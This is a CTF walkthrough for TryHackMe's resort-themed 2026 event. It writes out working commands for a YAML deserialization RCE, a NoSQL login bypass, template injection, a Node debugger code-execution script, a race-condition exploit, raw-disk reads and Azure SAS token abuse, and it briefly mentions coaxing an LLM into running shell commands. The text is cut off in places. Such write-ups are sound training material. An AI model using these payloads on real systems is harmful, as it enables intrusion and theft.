TryHackMe Hacker Hollidays Walkthrough

Wait 5 sec.

For the past couple of weeks I've been playing through Hacker Holidays 2026 - "The Byte Lotus," TryHackMe's resort-themed CTF: 14 rooms unlocking one a day (Jul 27 – Aug 9, 16:00 UTC), all wrapped around a luxury-hotel story starring VERA, the resort's a little-too-helpful AI concierge.What I liked about this event is how much ground it covered, one day you're doing pure OSINT off a brochure, the next you're chaining a NoSQL auth bypass into a full boot2root, cracking DPAPI in a DFIR triage, or talking an LLM into running shell commands for you.Below are the main pointers from each day: the core vulnerability, the trick that unlocked it, and the flag, so you can follow the whole trail from the beach bar to the manager's office.Hacker Holidays — The Shells TeaserSource: image at the bottom of https://tryhackme.com/hackerholidaysFile: shells.1vegms3_nnje1.webp (972×763, WebP w/ alpha) Type: intro puzzle — three base64 strings printed inside three seashells.TL;DR: three shells → three base64 blobs → three story lines. No flag; it's a narrative hook that says the "prep track" hides an intentionally-open door.1. Recon — read the imageThe teaser is a picture of three seashells. Each open shell has green monospace text inside it — clearly base64 (A–Z/a–z/0–9, = padding, no other symbols):ShellBase64Center (large)VGhlIHByZXAgdHJhY2sgd2FzIHN1cHBvc2VkIHRvIGJlIGEgZm9ybWFsaXR5LiBJdCBpc24ndCBhbnltb3JlLg==Left (small)SWYgeW91J3JlIHJlYWRpbmcgdGhpcywgeW91IGRlY29kZWQgYSBzaWduYWwgdGhlIHJlc29ydCBuZXZlciBtZWFudCB0byBicm9hZGNhc3QuRight (small)U29tZW9uZSBsZWZ0IGEgZG9vciBvcGVuIG9uIHB1cnBvc2U=2. Decoded() { echo "$1" | base64 -d; echo; }d "VGhlIHByZXAgdHJhY2sgd2FzIHN1cHBvc2VkIHRvIGJlIGEgZm9ybWFsaXR5LiBJdCBpc24ndCBhbnltb3JlLg=="d "SWYgeW91J3JlIHJlYWRpbmcgdGhpcywgeW91IGRlY29kZWQgYSBzaWduYWwgdGhlIHJlc29ydCBuZXZlciBtZWFudCB0byBicm9hZGNhc3Qu"d "U29tZW9uZSBsZWZ0IGEgZG9vciBvcGVuIG9uIHB1cnBvc2U="Output:The prep track was supposed to be a formality. It isn't anymore.If you're reading this, you decoded a signal the resort never meant to broadcast.Someone left a door open on purpose3. Check the image for anything else (rule out stego)Before assuming the text is the whole payload, make sure nothing is hidden in the file:exiftool shells.1vegms3_nnje1.webp # metadata — nothing but standard WebP fieldsstrings -n 6 shells.1vegms3_nnje1.webp # only compressed VP8 bytes, no plaintext# trailing-data check: does the file extend past the RIFF container?python3 -c "import struct;d=open('shells.1vegms3_nnje1.webp','rb').read();\print(len(d)-(struct.unpack(' THM{V3r4_1s_w4tch1ng_0veR_y0u}Day 5 — "Beach Bar" (HTML-comment creds → YAML deserialization RCE → credential reuse, boot2root)A Flask "jukebox" box that chains three classic mistakes:Creds in a source comment. The login page hides . Log in as dj:dj. (The Flask cookie is HMAC-signed and the app has no admin user, so forging it is a rabbit hole — the real door is the import feature.)YAML deserialization RCE. /import parses uploaded playlists with the unsafe loader — yaml.load(content, Loader=yaml.Loader). Full yaml.Loader will instantiate arbitrary Python, confirmed with a timing oracle then swapped for a reverse shell:playlist: name: !!python/object/apply:os.system ["sleep 5"] # then: base64'd bash reverse shell tracks: []Submit as the playlist_file field (session cookie required) → shell as bartender → cat /home/bartender/user.txt = THM{y4ml_pl4yl1st_pwns_th3_b34ch}.Credential reuse from a root process. A root-owned service leaks its password on the command line:ps -eo user,cmd | grep python# root ... jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320kThe file isn't writable, but the password is reused — su root with SunsetSpritz2024! → cat /root/root.txt = THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}.Day 6 — "Overheard at Breakfast" (OSINT)Artifact: Day 6 Overheard at Breakfast/conversation.png — a screenshot of a chat log between Ponzi – Influencer and Lambo!.TL;DR: chat log → e-mail address + "free profile tool starting with a G" → Gravatar → hash the e-mail → profile page → base64 in the profile → flag.6a. Read the conversation for intelThe whole room is in the text. Ponzi is fishing for Lambo's social handle; Lambo brags himself into an OSINT footprint:Free + hosts a profile + links your other accounts + starts with G → Gravatar (Google-adjacent guesses like GitHub/Gitlab don't match "upload my profile and link other media accounts"). Gravatar profiles are keyed by a hash of the e-mail address, so the e-mail Lambo volunteered is the query.6b. Turn the e-mail into a Gravatar profile URLGravatar identifies users by a hash of the lowercased, trimmed e-mail — historically MD5, now SHA-256 (both still resolve).printf 'lambobytelotushotel@gmail.com' | sha256sum# d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931printf 'lambobytelotushotel@gmail.com' | md5sum# d4a5fc5d3128890778667e24617d7cc0Then just visit the profile:https://gravatar.com/d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931https://gravatar.com/d4a5fc5d3128890778667e24617d7cc0 # MD5 form, same profilehttps://gravatar.com/.json # machine-readable versionThe account was not wiped — the profile is live, complete with linked accounts and a bio.6c. Decode the payload on the profileThe profile carries a base64 string:echo 'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9' | base64 -d; echoTHM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}Day 7 — "Do Not Disturb" (web → RCE → privesc, boot2root)Chain: NoSQL auth-bypass (nedb $ne) → become the attendant staff user → EJS SSTI in the staff console → RCE as poolside (user flag) → Node --inspect debugger on localhost → code-exec as pipelinesvc → that user is in the disk group → debugfs raw-disk read of /root/root.txt (root flag).7a. Reconnmap -Pn -sV -p- 10.113.158.213# 22/tcp OpenSSH 9.6p1# 80/tcp Node.js (Express) -> "Byte Lotus — Poolside"Content discovery yields only /, /login, /logout, /staff. /staff → 403 "Staff access only." Login (POST /login) sets no cookieon failure and rejects all guesses.7b. NoSQL authentication bypass (nedb)The app queries db.findOneAsync({ username, password }) on a nedb store (Mongo-style operators). No cookie on a normal login = the bypass is in the query itself. Send Mongo operators — form-encoding turns field[$ne]=x into an object:# $ne on both matches the FIRST user doc (a guest) — logs in but /staff still 403curl -i --data-urlencode 'username[$ne]=x' --data-urlencode 'password[$ne]=x' \ http://10.113.158.213/login # 302 -> /staff, sets connect.sid# target the STAFF user: known username + password bypass. Enumerate by testing /staff:# for u in admin manager concierge vera attendant ... ; do login(u, password[$ne]=x); GET /staff; done# -> only `attendant` returns /staff 200 (seeded role:'staff')curl -c jar.txt --data-urlencode 'username=attendant' --data-urlencode 'password[$ne]=x' \ http://10.113.158.213/loginWhy attendant: the seed creates guest (role guest) and attendant (role staff, random 36-hex password). $nealone lands on guest; naming the staff user + bypassing its password lands the staff session. {"$gt":""} / SQLi payloads do not work — it's nedb, and password is compared as an object, not a string.7c. EJS SSTI → RCE (user flag)The staff console renders a user-supplied EJS template: ejs.render(req.body.template, …) at POST /staff/preview. User-controlled template = server-side template injection, and EJS templates execute Node:# 7*7 -> 49 confirms evaluation; then command exec:curl -b jar.txt --data-urlencode \ "template=" \ http://10.113.158.213/staff/preview# -> uid=996(poolside) gid=996(poolside)Tooling note: the preview echoes inside …; wrap commands as echo |base64 -d|bash to dodge quote-mangling, and parse the  block (multi-line) rather than a single-line regex./home/poolside/user.txt -> THM{w4rm_s3ss10n_h1j4ck3d}7d. poolside → pipelinesvc via the Node inspector (--inspect)Enumeration as poolside:ps -ef -> pipelinesvc node --inspect=127.0.0.1:9229 processor.jsss -ltnp -> 127.0.0.1:9229 LISTEN # Node DevTools debugger, localhost-onlyAn open --inspect port = arbitrary code execution in that process's user context. It's bound to localhost, but we already have RCE on the box. Drive the Chrome DevTools Protocol (Runtime.evaluate) from a small Node client run as poolside (Node 22 exposes a global WebSocket):// /tmp/plx.js — connects to the debugger, runs a base64'd command as pipelinesvcconst http=require('http'),fs=require('fs');const b64=fs.readFileSync('/tmp/plcmd.b64','utf8').trim();const expr='require("child_process").execSync(Buffer.from("'+b64+'","base64").toString()+" 2>&1 || true",{encoding:"utf8"})';http.get('http://127.0.0.1:9229/json',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>{ const ws=new WebSocket(JSON.parse(d)[0].webSocketDebuggerUrl); ws.addEventListener('open',()=>ws.send(JSON.stringify({id:1,method:'Runtime.evaluate', params:{expression:expr,includeCommandLineAPI:true,returnByValue:true,awaitPromise:true}}))); ws.addEventListener('message',ev=>{const m=JSON.parse(ev.data); if(m.id===1){console.log(m.result.result.value);process.exit(0);}});});});// run: echo > /tmp/plcmd.b64 ; node /tmp/plx.js -> uid=995(pipelinesvc) ... groups=...,6(disk)7f. pipelinesvc → root file-read via the disk group (root flag)id as pipelinesvc shows groups=995(pipelinesvc),6(disk). The disk group grants raw read/write on the block devices — i.e. read any file on the filesystem without a root shell. Read the root flag straight off the ext4 device with debugfs:DEV=$(findmnt -no SOURCE /) # /dev/nvme0n1p1debugfs -R "cat /root/root.txt" "$DEV"THM{r4w_d1sk_4cc3ss_w4s_t00_much}Chain in one line: nedb $ne auth-bypass → staff attendant → EJS SSTI RCE (poolside, user flag) → localhost --inspectdebugger → pipelinesvc → disk group → debugfs reads /root/root.txt (root flag).THM{r4w_d1sk_4cc3ss_w4s_t00_much}Day 8 — "Towel on the Sunbed" (Ponzi Wellness Rewards — race condition)Target: 10.113.182.38:3000 — Express app "Ponzi Portfolio — Stack your bags. Claim your yield." App theme: a daily crypto "staking reward." Vuln: TOCTOU race condition on the daily-claim endpoint.The briefing + @0xMia's story spell it out: the sunbed got "claimed three times over while he wasn't looking," there's "a gap between his request and the server's clock wide enough to walk a whale through," and "bro really thinks the clock is the only thing checking him" — i.e. the 24 h cooldown is checked and written non-atomically, so concurrent claims all pass the check before any write commits.8a. Understand the mechanic (read the client JS)/js/dashboard.js hands you the entire game:WHALE_THRESHOLD = 150 // balance needed for Whale tierPOST /claim -> +reward PONZI, gated by a 24h cooldown (canClaim / secondsUntilClaim)GET /vault -> returns the flag IFF balance >= 150GET /dashboard/api/me -> {balance, tier, canClaim, secondsUntilClaim, ...}Register + one honest claim to measure the payout:T=http://10.113.182.38:3000U="u$RANDOM"; P="P@ss$RANDOM"curl -s -c j.txt -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"password\":\"$P\"}" $T/auth/register # 201 + connect.sidcurl -s -b j.txt -X POST $T/claim# {"reward":50,"newBalance":50,...} -> canClaim now false, secondsUntilClaim 86400So one claim = +50, threshold 150 → three claims, but a 24 h cooldown blocks the 2nd/3rd. Sequentially impossible; the cooldown check is the only thing to beat.8b. Exploit — fire concurrent claims in the one open windowA brand-new account starts canClaim:true. Fire many /claim requests simultaneously on that fresh session: each request reads "no prior claim/cooldown elapsed" before any of them writes the new timestamp, so several rewards all land (classic check-then-act race).T=http://10.113.182.38:3000U="race$RANDOM$RANDOM"; P="P@ss$RANDOM"; J=race.txtcurl -s -c $J -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"password\":\"$P\"}" $T/auth/register -o /dev/null# 30 parallel POSTs sharing ONE cookie, launched before any of them finishesfor i in $(seq 1 30); do curl -s -b $J -X POST $T/claim -o out.$i & done; waitcurl -s -b $J $T/dashboard/api/me # -> balance 250, tier "Whale"Result: 5 of 30 claims slipped through the cooldown before it committed → 5 × 50 = 250 PONZI ≥ 150 → tier flips to Whale. (You only need 3 to win; the race over-delivers — literally the "double spend.")8c. Open the vaultcurl -s -b race.txt http://10.113.182.38:3000/vault# {"message":"Welcome to the Whale Vault.","flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}","balance":250}THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}Chain in one line: register → one claim reveals +50/150 with a 24 h lock → fire ~30 concurrent /claim on a fresh session → TOCTOU race lands 5 rewards (250) → Whale → GET /vault → flag.Day 9 — "CryptoCabana" (Azure SAS → unlisted container → Key Vault secret versioning)Target: https://cryptocabanaf5scjagc.z13.web.core.windows.net/ — an Azure Storage static website ("$web" container served over *.z13.web.core.windows.net).Chain in one line: read app.js → leaked account SAS (list+read, service scope) → List Containers finds an unlinked vaultcontainer → leaked service principal + Key Vault URI → list secrets → flag sharded across 3 secrets, middle shard rotated → read the previous version of key-shard-2.9.1 Recon — what the kiosk hands out for freeThe page posts recovery phrases to blob storage. GET /app.js embeds the credential:const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";const BACKUPS_CONTAINER = "backups";const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";Decode the SAS fields — this is an account SAS, not a locked-down blob SAS:fieldvaluemeaningssbsigned service = blobsrtscoresource types service + container + objectsprlpermissions read + listsrt=s + l = it can enumerate the entire account, not just backups. (The page PUTs with it, but rl has no write — the "kiosk" is misconfigured either way.)9.2 Follow the trust somewhere the page never pointsSAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-...&sig=ZAo05W8KX...%3D'ACCT=cryptocabanaf5scjagc# service-level List Containers:curl -s "https://$ACCT.blob.core.windows.net/?comp=list&$SAS"# -> $web, backups, vault seed_phrase.txt , backup-service-account.jsonbackup-service-account.json is the "more valuable set of keys" — a leaked SP:{"client_id":"dbcf2923-...","client_secret":"UBX8Q~xM6va...","tenant_id":"8f8c5f8e-...", "key_vault_name":"ccabana-kv-f5scjagc","key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/"}9.3 The vault that won't answer on the first askaz login --service-principal -u -p --tenant \ --allow-no-subscriptionsaz keyvault secret list --vault-name ccabana-kv-f5scjagc -o table# key-shard-1, key-shard-2, key-shard-3, master-keykey-shard-1 = THM{n0t_urkey-shard-3 = ur_c01ns!}master-key = Forbidden (ForbiddenByRbac) — decoy, the SP has no get on it.key-shard-2 current value = a note: "Rotated this after IT flagged it — old value should still be recoverable if you know where to look."9.4 "What did it look like five minutes before?" — secret versioningRotating a Key Vault secret does not delete prior versions; get on an old version still works for any principal with read.az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc -n key-shard-2 \ --query "[].{ver:id, updated:attributes.updated}" -o table# ...3d6492d2... 2026-07-28T01:05:05Z